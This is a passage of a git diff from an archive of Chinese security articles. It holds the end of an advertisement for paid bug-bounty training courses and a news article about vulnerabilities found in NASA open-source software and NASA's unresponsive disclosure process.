除了下表中的课程之外，还有每周固定答疑课，番外课、白帽大神福利课等。干货满满，基本上我的毕生所学都讲了，哈哈！此外还有白帽大神分享课、学员绘本课程等，知识大陆内容分享等。最重要的是有我 +1对1的问题解答 +，因为新手白帽成长过程中不免有很多问题，这时候有人能够解答一两句能少走好多弯路，我就是这么过来的，所以课程最重要的是有我的 +1对1问题解答 +。除了下列课表外，让你学习到的绝不止以下内容，企业src嘎嘎出洞: + + +第一套负基础： + +![本地图片](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOgbE7sS3PDY7efaTicgHKc6nZ3w0Lxjict45lJu5OVkeyBaVncenY8vurUd2VIkgwauChVu53DGqfg/640?wx_fmt=png&from=appmsg "") + + +第二套负基础： + +![本地图片](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOgbE7sS3PDY7efaTicgHKc6xSQpbiccNdQeSk58EyD5dWictsrLp5ic7Zp9ym1Fskxs7pNLzAz1WuiaCQ/640?wx_fmt=png&from=appmsg "") + + +第三套负基础： + +![本地图片](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOgbE7sS3PDY7efaTicgHKc6icnfrTicBica4hx7TXQFYjEKgvGUib0uX525YXEjDzjQ4vTowVlDWEOC5Q/640?wx_fmt=png&from=appmsg "") + + +第四套正式课： + +![本地图片](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOgbE7sS3PDY7efaTicgHKc6g3zRoe2r5ymoXMYDYVQM2yZgD9OibuxibOPqBuhATz2DFaMaEJVk9zOw/640?wx_fmt=png&from=appmsg "") + +**04****** + +课程定价 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/GHet7yDwHiaPyDWqtEulib0go1oJCxktoBHGhlFYb6fM9SZP9k7NJIkqanQdJcepv2amr9l4B0ib0zZsIEdVoS2kw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +      新学员优惠：看了上面的内容相信大家最关注的还是价格，两位师傅的课程 +同时购买仅需： + +1+1限时优惠：1998元（原价2500元） + +       + 老学员福利1：已经购买了 +知名小朋友 +师傅课程的同学。购买 +地图大师src新手课，从现在的900多仅需： + +限时优惠：798元（原价900元） + +       + 老学员福利2：已经购买了**地图大师** +课程的师傅购买 +知名小朋友 +师傅的课程从现在的1600仅需： +。 + +限时优惠：1350元（原价1600元） + +**报名方式：联系两个微信都可以！** + +地图大师微信号：returnwrong + +知名小朋友微信号：echo_Ambition888 + + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaNjA7NqzgeFC1CE9Iwfceskz3WuMvB6ibLrJyD2tneyX5KDyjichkOiaiaKW2jKphh61haKkLibk3xRXKQ/640?wx_fmt=png&from=appmsg "") + diff --git a/doc/2025-05/美国宇航局开源软件中爆出大量严重漏洞.md b/doc/2025-05/美国宇航局开源软件中爆出大量严重漏洞.md new file mode 100644 index 00000000..7931d21c --- /dev/null +++ b/doc/2025-05/美国宇航局开源软件中爆出大量严重漏洞.md @@ -0,0 +1,95 @@ +# 美国宇航局开源软件中爆出大量严重漏洞 + GoUpSec 2025-05-29 04:11 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/INYsicz2qhvYMYImFKXQicCnm1QbdiczX8qiaNdm4icATslMD3m3ydzSpXdlEt6262oyNPnygPfns2tuOKrycKff6cw/640?wx_fmt=png&from=appmsg "") + + +就在全球对政府机构软件安全信心日益动摇之际，一则关于NASA开源项目的爆炸性发现，再次敲响了警钟。 + + +知名安全研究员、ThreatLeap创始人Leon Juranić在短短4小时的人工代码审查中，发现了美国国家航空航天局（NASA）多个开源软件项目中大量严重漏洞，其中包括一系列栈溢出、跨站脚本（XSS）、硬编码密钥等问题。 + + + +**一场没有技术门槛的漏洞收割** + + + +Juranić与NASA软件安全问题颇有渊源。早在2009年，他就曾披露NASA广泛使用的CDF数据格式库中的多个高危漏洞，并促使NASA修复。但这一次，他并未进行深入逆向分析或构造攻击，仅靠简单代码静态审查，便在以下开源软件中挖出严重内存破坏漏洞： + +- QuIP（图像快速处理环境） + +- OpenVSP（飞行器建模工具） + +- RHEAS（区域水文极端事件评估系统） + +- OMINAS（多仪器数据分析软件） + +- Refine（网格自适应处理工具） + +- CFDTOOLS（计算流体动力学工具库） + +- Knife库 + +这些漏洞普遍源自对不安全函数的滥用，Juranić指出：“它们大多发生在文件格式解析过程中，而这些软件遍布NASA的GitHub开源仓库，构造恶意文件诱导员工点击是再简单不过的社工场景。” + + +更令人担忧的是，Juranić多次尝试向NASA报告漏洞，却始终未收到任何实质回应。电话联系NASA安全运营中心后得到的答复是：NASA现行政策禁止就外部人士报告的安全问题提供反馈。 + + +此外，他还指出，NASA的官方GitHub仓库不在其漏洞赏金项目范围内，这使得通过常规平台（如HackerOne）报告漏洞几乎无门。 + + +这意味着——NASA既开放了软件源码供全球使用，却又关闭了安全反馈机制的大门。在Juranić看来，这已不是单点失误，而是NASA的软件发布流程（SRA）和安全开发生命周期（SDLC）设计本身存在严重缺陷。 + + + + +**隐患远不止NASA本身** + + + +这些漏洞不仅影响NASA内部系统，更威胁全球广泛依赖NASA开源项目的科研机构、政府部门乃至商业公司。一旦被国家级黑客武器化，极可能被用于实施远程代码执行、渗透攻击或信息窃取。 + + +更现实的是，这类攻击往往通过精心构造的文件触发，不依赖用户主动行为，因此常规杀毒、EDR、IDS等防御手段几乎无法发现。而这正是APT攻击者最偏爱的武器类型。 + + + +**NASA回应：我们有安全政策，但没人知道怎么用** + + + +在媒体曝光后，NASA终于回应称：“我们为安全研究人员设立了漏洞披露政策，鼓励善意报告。但需通过官方渠道提交，方可获得响应与跟进。” + + +问题是，在实际操作中，这一“官方渠道”不仅缺乏可用性，也缺乏透明度，甚至连安全从业者都无法获知其入口与流程。这与近年来各大科技公司（如Google、Apple、Meta）积极引入赏金机制、构建灰帽参与生态的趋势形成鲜明对比。 + + +参考链接： + +https://cdf.gsfc.nasa.gov/html/acknowledgements.html + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/INYsicz2qhvbJ3aCGM50PbZtic5aDicS3EvfpQ7dCyEhTy0G7s5xdSnzXiayb6GltxiaKbW9p1L15SUrGgIvwAR6GmQ/640?wx_fmt=jpeg&from=appmsg "") + + + +END + + + +相关阅读 + + + +[CISO调查：2025年企业网络安全五大趋势](https://mp.weixin.qq.com/s?__biz=MzkxNTI2MTI1NA==&mid=2247503336&idx=2&sn=f49ac67ac71c3a0883132bb26fa0584d&scene=21#wechat_redirect) + + +[Starlink正式登陆孟加拉，南亚太空冷战升级](https://mp.weixin.qq.com/s?__biz=MzkxNTI2MTI1NA==&mid=2247503336&idx=1&sn=973bf8c9d7648a4fa2563c701d0f7272&scene=21#wechat_redirect) + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/INYsicz2qhvbgcN4QY36lK2wjCavZiadQThpmM11FR4xkwyVG7K24lkpoLRcFHuZ7gAHgZEsr6Mia7BmKuwDJqX4g/640?wx_fmt=jpeg "") + +